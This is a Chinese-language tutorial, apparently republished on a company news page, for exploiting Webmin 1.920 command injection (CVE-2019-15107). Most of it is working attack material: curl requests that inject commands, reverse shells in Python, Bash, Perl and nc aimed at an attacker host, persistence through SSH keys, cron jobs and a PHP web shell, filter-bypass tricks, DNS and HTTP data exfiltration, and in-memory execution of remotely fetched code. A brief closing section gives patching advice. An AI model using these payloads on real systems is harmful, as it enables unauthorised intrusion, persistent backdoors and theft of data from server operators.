尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

Webmin 1.920 命令执行漏洞(CVE-2019-15107)复现:3步利用password_change.cgi获取Shell

Webmin 1.920 命令执行漏洞(CVE-2019-15107)复现:3步利用password_change.cgi获取Shell
📅 发布时间:2026/7/8 20:38:24

Webmin 1.920 命令执行漏洞深度利用指南:从原理到Shell获取

在渗透测试实践中,能够快速识别和利用已知漏洞是安全研究人员的基本功。CVE-2019-15107作为Webmin历史上一个关键的安全漏洞,其利用方式具有典型的教学意义。本文将从一个实战演练的角度,带您深入理解这个漏洞的触发机制,并构建完整的攻击链条。

1. 漏洞环境搭建与基础验证

搭建一个可靠的测试环境是漏洞研究的首要步骤。推荐使用Docker快速部署Webmin 1.920漏洞环境:

docker pull vulhub/webmin:1.920 docker run -d -p 10000:10000 --name webmin vulhub/webmin:1.920

访问https://your-ip:10000(需忽略浏览器安全警告)即可看到Webmin登录界面。值得注意的是,该漏洞利用不需要任何身份认证,这也是其危险性的重要体现。

基础验证可以使用简单的curl命令:

curl -k -X POST "https://target:10000/password_change.cgi" \ -d "user=non_existent&pam=&expired=2&old=test|id&new1=test2&new2=test2"

如果返回结果中包含uid信息,则证明漏洞存在。这里有几个关键点需要注意:

  • user参数:必须使用系统中不存在的用户名
  • old参数:管道符后的命令会被执行
  • HTTPS协议:Webmin默认使用SSL加密连接

2. 漏洞原理深度解析

这个漏洞的核心在于password_change.cgi脚本对用户输入的处理不当。当满足以下条件时,系统会执行恶意命令:

  1. 请求发送到/password_change.cgi接口
  2. user参数值不是系统中的真实用户
  3. old参数中包含管道符(|)拼接的命令

Webmin在处理密码修改请求时,会检查用户是否存在。如果用户不存在,它会尝试直接修改/etc/shadow文件,而在这个过程中没有对输入进行充分过滤,导致命令注入。

漏洞触发流程:

  1. 攻击者发送包含恶意命令的POST请求
  2. Webmin检查用户不存在
  3. 系统尝试修改shadow文件
  4. 在修改过程中执行了注入的命令
  5. 命令输出被包含在HTTP响应中

3. 完整利用链构建

3.1 信息收集阶段

在获取初始命令执行能力后,首先需要收集系统信息:

curl -k -X POST "https://target:10000/password_change.cgi" \ -d "user=non_existent&pam=&expired=2&old=test|uname -a; id; ip a; netstat -tulnp&new1=test2&new2=test2"

这些信息将帮助我们了解目标系统的架构、网络配置和运行服务,为后续操作提供依据。

3.2 交互式Shell获取

为了获得更稳定的控制,我们需要建立反向Shell。以下是几种常见方法:

Python反向Shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker-ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash反向Shell:

bash -i >& /dev/tcp/attacker-ip/port 0>&1

编码后的Payload:

对于存在特殊字符限制的情况,可以使用Base64编码:

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC9wb3J0IDA+JjE=" | base64 -d | bash

3.3 权限维持技术

获取初始访问后,应考虑建立持久化访问:

  1. 添加SSH密钥:

    mkdir -p ~/.ssh && echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
  2. 创建定时任务:

    (crontab -l 2>/dev/null; echo "* * * * * nc -e /bin/sh attacker-ip port") | crontab -
  3. 安装Web Shell:

    echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/backdoor.php

4. 高级利用技巧与防御绕过

在实际渗透测试中,可能会遇到各种限制措施。以下是几种应对策略:

4.1 命令分隔技巧

当某些字符被过滤时,可以尝试替代分隔符:

# 使用换行符 old=test%0aid # 使用&& old=test&&id # 使用$() old=test$(id)

4.2 数据外带技术

当无法直接看到命令输出时,可以通过DNS或HTTP请求外带数据:

# DNS外带 old=test|dig `whoami`.attacker-domain.com # HTTP外带 old=test|curl http://attacker-ip:8000/?data=$(whoami|base64)

4.3 内存执行规避

为避免在磁盘留下痕迹,可以使用内存执行技术:

# Python内存加载 old=test|python -c "import urllib2; exec(urllib2.urlopen('http://attacker-ip/shell.py').read())" # Perl一行式 old=test|perl -e 'use Socket;$i="attacker-ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

5. 漏洞修复与防护建议

对于系统管理员,应采取以下措施防护:

  1. 立即升级:将Webmin升级到1.930或更高版本
  2. 访问控制:限制Webmin管理界面的访问IP
  3. 入侵检测:监控对/password_change.cgi的异常访问
  4. 最小权限:按照最小权限原则配置Webmin功能

在渗透测试完成后,应完整记录利用过程,并协助客户进行安全加固。漏洞利用的最终目的是提升系统安全性,而非破坏。

相关新闻

  • 高效太阳能电池缺陷检测基准:2624张EL图像深度学习实战指南
  • HackMe-1 靶机实战:SQL注入到文件上传的 3 步完整攻击链复现
  • 基于51/STM32单片机矿井安全 瓦斯检测 天然气 甲烷报警物联网31(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_

最新新闻

  • Windows 11 任务管理器 3 类内存泄露排查:分页/非分页缓冲池与句柄激增定位
  • Seedance 2.5本地部署指南:AI生图与视频生成的完整实践
  • Seedance 2.5本地部署指南:AI生图与视频生成的离线解决方案
  • Seedance2.5本地AI生图与视频生成工具部署与优化指南
  • Samba 4.15.13 多用户权限配置:5步实现Windows/Linux混合环境共享
  • Windows PowerShell 与 CMD 环境变量差异:SSH命令失效的2种排查路径

日新闻

  • PROPKA 3深度解析:蛋白质pKa预测的实战指南与算法原理
  • 微信小程序 globalData 监听:基于 Object.defineProperty 的 3 种实现方案对比
  • MySQL 8.0 数据清洗实战:3类异常值识别与 UPDATE/DELETE 批量处理

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号